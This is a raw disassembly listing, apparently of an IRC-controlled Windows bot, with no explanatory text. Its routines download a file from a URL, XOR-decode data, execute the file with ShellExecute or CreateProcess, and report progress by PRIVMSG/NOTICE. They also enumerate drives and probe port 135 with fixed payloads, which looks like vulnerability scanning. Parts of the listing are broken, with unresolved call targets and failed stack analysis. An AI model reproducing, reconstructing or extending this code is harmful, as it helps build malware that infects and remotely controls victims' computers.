var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_43F618
call dword_43F578
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40CF7D
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call near ptr 2630000h
nop
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40CBB8
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_42E5E4
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40CB9B
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CB9B: ; CODE XREF: sub_40CAF1+88j
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
push [ebp+var_48]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
loc_40CBB8: ; CODE XREF: sub_40CAF1+68j
xor edi, edi
nop
call near ptr 25E08E4h
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_417B89
pop ecx
mov [ebp+var_1C], eax
loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_43F580
cmp [ebp+var_34], esi
jz short loc_40CC16
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40CFE3
pop ecx
pop ecx
loc_40CC16: ; CODE XREF: sub_40CAF1+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
nop
call near ptr 2620000h
cmp edi, ebx
jnb short loc_40CC54
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40CC3E
mov eax, [ebp+arg_0]
loc_40CC3E: ; CODE XREF: sub_40CAF1+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_417390
add esp, 0Ch
loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40CC61
cmp edi, [ebp+var_3C]
ja short loc_40CCAB
loc_40CC61: ; CODE XREF: sub_40CAF1+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_40CC7B
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42E59C
jmp short loc_40CC8B
; ---------------------------------------------------------------------------
loc_40CC7B: ; CODE XREF: sub_40CAF1+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42E55C
loc_40CC8B: ; CODE XREF: sub_40CAF1+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_444EC0
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40CBD2
loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40CD00
cmp edi, [ebp+var_3C]
jz short loc_40CD00
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_42E518
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
add esp, 28h
loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j
; sub_40CAF1+1C9j
nop
call near ptr 25E08E4h
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 2611A31h
push [ebp+var_1C]
call sub_417C3B
cmp [ebp+var_38], esi
pop ecx
jz short loc_40CD8A
lea eax, [ebp+var_148]
push eax
call sub_40C259
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40CD8A
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_42E4E0
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
add esp, 28h
loc_40CD8A: ; CODE XREF: sub_40CAF1+241j
; sub_40CAF1+253j
cmp [ebp+var_14], esi
jz loc_40CFCA
cmp [ebp+var_44], 1
jz loc_40CE85
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_424698
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_424698
fstp [esp+590h+var_590]
push offset unk_42E498
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CE05
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
cmp [ebp+var_40], 1
pop ecx
jnz loc_40CFCA
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_43F5DC
cmp [ebp+var_30], esi
jnz loc_40CFCA
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42E464
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
add esp, 24h
jmp loc_40CFCA
; ---------------------------------------------------------------------------
loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_424698
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_424698
fstp [esp+590h+var_590]
push offset unk_42E414
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CEED
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_417330
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_43C80C
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call near ptr 274056Fh
nop
cmp eax, edi
jnz short loc_40CF6F
call dword_43F5C8
call sub_40AC42
push esi
nop
call near ptr 77E75CB5h
loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_42E3CC
jmp short loc_40CF89
; ---------------------------------------------------------------------------
loc_40CF7D: ; CODE XREF: sub_40CAF1+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42E390
loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj
lea eax, [ebp+var_510]
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40CFBD
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
pop ecx
loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj
; sub_40CAF1+325j ...
push [ebp+var_18]
call dword_43F69C
push [ebp+var_48]
call sub_417078
pop ecx
push esi
nop
call near ptr 25E02EAh
sub_40CAF1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40CFFF
loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj
mov dl, byte_42F5C4
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40CFEF
locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj
retn
sub_40CFE3 endp
; =============== S U B R O U T I N E =======================================
sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep
; sub_40EE72+2BA4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4197F9
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40D000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D01A proc near ; CODE XREF: sub_406387+458p
; sub_406387+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_443A38
push 0
push edi
call sub_417330
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40D03F: ; CODE XREF: sub_40D01A+5Bj
; sub_40D01A+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_4191D0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_419250
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40D07D
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40D03F
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40D03F
; ---------------------------------------------------------------------------
loc_40D07D: ; CODE XREF: sub_40D01A+4Bj
dec esi
mov eax, edi
loc_40D080: ; CODE XREF: sub_40D01A+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40D08F
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40D080
; ---------------------------------------------------------------------------
loc_40D08F: ; CODE XREF: sub_40D01A+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40D01A endp
; =============== S U B R O U T I N E =======================================
sub_40D099 proc near ; CODE XREF: sub_40D24E+51p
; sub_40D24E+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43F6C8
sub eax, 0
jz short loc_40D0DC
dec eax
jz short loc_40D0D6
dec eax
dec eax
jz short loc_40D0D0
dec eax
jz short loc_40D0CA
dec eax
jz short loc_40D0C4
dec eax
jz short loc_40D0BE
mov eax, offset word_42DDD0
retn
; ---------------------------------------------------------------------------
loc_40D0BE: ; CODE XREF: sub_40D099+1Dj
mov eax, offset off_42E644
retn
; ---------------------------------------------------------------------------
loc_40D0C4: ; CODE XREF: sub_40D099+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40D0CA: ; CODE XREF: sub_40D099+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40D0D0: ; CODE XREF: sub_40D099+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40D0D6: ; CODE XREF: sub_40D099+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40D0DC: ; CODE XREF: sub_40D099+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40D099 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_43F564
test eax, eax
jz short loc_40D117
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_40D117: ; CODE XREF: sub_40D0E2+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D0E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p
; sub_40D24E+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40D0E2
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40D208
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40D208
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40D208
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_419840
push edx
push eax
call sub_40D01A
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41782A
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_419840
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41782A
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_419840
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41782A
add esp, 10h
pop ebx
jmp short loc_40D23A
; ---------------------------------------------------------------------------
loc_40D208: ; CODE XREF: sub_40D12A+2Cj
; sub_40D12A+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40D23A: ; CODE XREF: sub_40D12A+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D12A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D24E proc near ; CODE XREF: sub_40D320+17p
; sub_40D320+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40D12A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_4176D0
add esp, 10h
test eax, eax
jnz short loc_40D2C1
push ebx
push ebx
call sub_40D099
pop ecx
push eax
push offset unk_42E6A4
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41782A
add esp, 14h
jmp short loc_40D2F5
; ---------------------------------------------------------------------------
loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40D099
pop ecx
push eax
push offset unk_42E658
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41782A
add esp, 20h
loc_40D2F5: ; CODE XREF: sub_40D24E+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_500]
push eax
call sub_40BF6D
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40D24E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40D341
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D24E
add esp, 10h
jmp short loc_40D3A2
; ---------------------------------------------------------------------------
loc_40D341: ; CODE XREF: sub_40D320+9j
push esi
push edi
push ebx
push ebx
call dword_43F5D8
lea esi, [eax+2]
push esi
call sub_417B89
pop ecx
mov edi, eax
push edi
push esi
call dword_43F5D8
cmp [edi], bl
mov esi, edi
jz short loc_40D399
loc_40D365: ; CODE XREF: sub_40D320+77j
push offset aA_0 ; "A:\\"
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40D388
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D24E
add esp, 10h
loc_40D388: ; CODE XREF: sub_40D320+54j
push esi
call sub_417AB0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40D365
loc_40D399: ; CODE XREF: sub_40D320+43j
push edi
call sub_417C3B
pop ecx
pop edi
pop esi
loc_40D3A2: ; CODE XREF: sub_40D320+1Fj
pop ebx
pop ebp
retn
sub_40D320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_4450CC
call dword_43F700
call sub_416F25
call dword_43F5C8
call dword_43F5C8
mov ebx, dword_424064
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_417330
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43C80C
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 25F048Fh
nop
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2640000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 274056Fh
nop
test eax, eax
jz short loc_40D46A
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_424078
call esi
push [ebp+var_C]
call esi
loc_40D46A: ; CODE XREF: sub_40D3A5+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_443A70
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call near ptr 77E75CB5h
nop
pop edi
pop esi
pop ebx
sub_40D3A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p
; sub_40D4C5+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_40D4BB
loc_40D49E: ; CODE XREF: sub_40D48D+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4198F0
add esp, 0Ch
test eax, eax
jz short loc_40D4C1
inc esi
cmp esi, edi
jl short loc_40D49E
loc_40D4BB: ; CODE XREF: sub_40D48D+Fj
xor al, al
loc_40D4BD: ; CODE XREF: sub_40D48D+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40D4C1: ; CODE XREF: sub_40D48D+27j
mov al, 1
jmp short loc_40D4BD
sub_40D48D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp
; sub_402DD7+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_417B30
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_40D506
dec eax
jz short loc_40D4E4
dec eax
loc_40D4DE: ; CODE XREF: sub_40D4C5+57j
xor eax, eax
loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj
; sub_40D4C5+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_40D4E4: ; CODE XREF: sub_40D4C5+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_43F6A8
push eax
call sub_4076CA
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_40D4E0
; ---------------------------------------------------------------------------
loc_40D506: ; CODE XREF: sub_40D4C5+13j
push 6
push 1
push 2
call dword_43F6E8
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_40D4DE
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_43F668
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40ADCA
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43F610
cmp eax, edi
jz loc_40D622
push ebx
push 48h
push offset dword_42E6F4
push esi
call dword_43F6B8
cmp eax, edi
jz loc_40D622
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43F680
cmp eax, edi
jz loc_40D622
cmp [ebp+var_200E], 0Ch
jnz short loc_40D622
push ebx
push 18h
push offset dword_42E740
push [ebp+arg_4]
call dword_43F6B8
cmp eax, edi
jz short loc_40D622
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43F680
mov esi, eax
cmp esi, edi
jz short loc_40D622
cmp [ebp+var_200E], 2
jnz short loc_40D622
push 10h
push offset loc_42E75C
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D48D
add esp, 10h
test al, al
jz short loc_40D602
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_40D622
; ---------------------------------------------------------------------------
loc_40D602: ; CODE XREF: sub_40D4C5+12Fj
push 10h
push offset dword_42E770
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D48D
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_40D622: ; CODE XREF: sub_40D4C5+9Bj
; sub_40D4C5+B2j ...
push [ebp+arg_4]
call dword_43F700
mov eax, ebx
pop ebx
jmp loc_40D4E0
sub_40D4C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp
; sub_40EE72+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_4193FF
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43F6B8
leave
retn
sub_40D633 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D679 proc near ; CODE XREF: sub_401000+8Bp
; sub_40144A+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40D694
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40D694: ; CODE XREF: sub_40D679+14j
push edi
call sub_417AB0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_417AB0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_42E784
push eax
call sub_4172B0
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43F6B8
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_40D717
push 7D0h
call near ptr 25F0439h
nop
locret_40D717: ; CODE XREF: sub_40D679+91j
leave
retn
sub_40D679 endp
; =============== S U B R O U T I N E =======================================
sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_40D771
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_42E7A8[esi]
push edi
push eax
call sub_40D793
add esp, 14h
test eax, eax
jnz short loc_40D761
push edi
push off_42E7A4[esi]
push offset dword_42E8D4
loc_40D751: ; CODE XREF: sub_40D719+56j
mov esi, offset dword_444138
push esi
call sub_4172B0
add esp, 10h
jmp short loc_40D78E
; ---------------------------------------------------------------------------
loc_40D761: ; CODE XREF: sub_40D719+2Aj
push eax
call sub_40D835
pop ecx
push eax
push edi
push offset dword_42E89C
jmp short loc_40D751
; ---------------------------------------------------------------------------
loc_40D771: ; CODE XREF: sub_40D719+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_444138
push off_42E7A0[eax*4]
push offset dword_42E868
push esi
call sub_4172B0
add esp, 0Ch
loc_40D78E: ; CODE XREF: sub_40D719+46j
mov eax, esi
pop edi
pop esi
retn
sub_40D719 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D793 proc near ; CODE XREF: sub_40D719+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_43F65C
mov edi, eax
cmp edi, ebx
jnz short loc_40D7BA
nop
call near ptr 2630313h
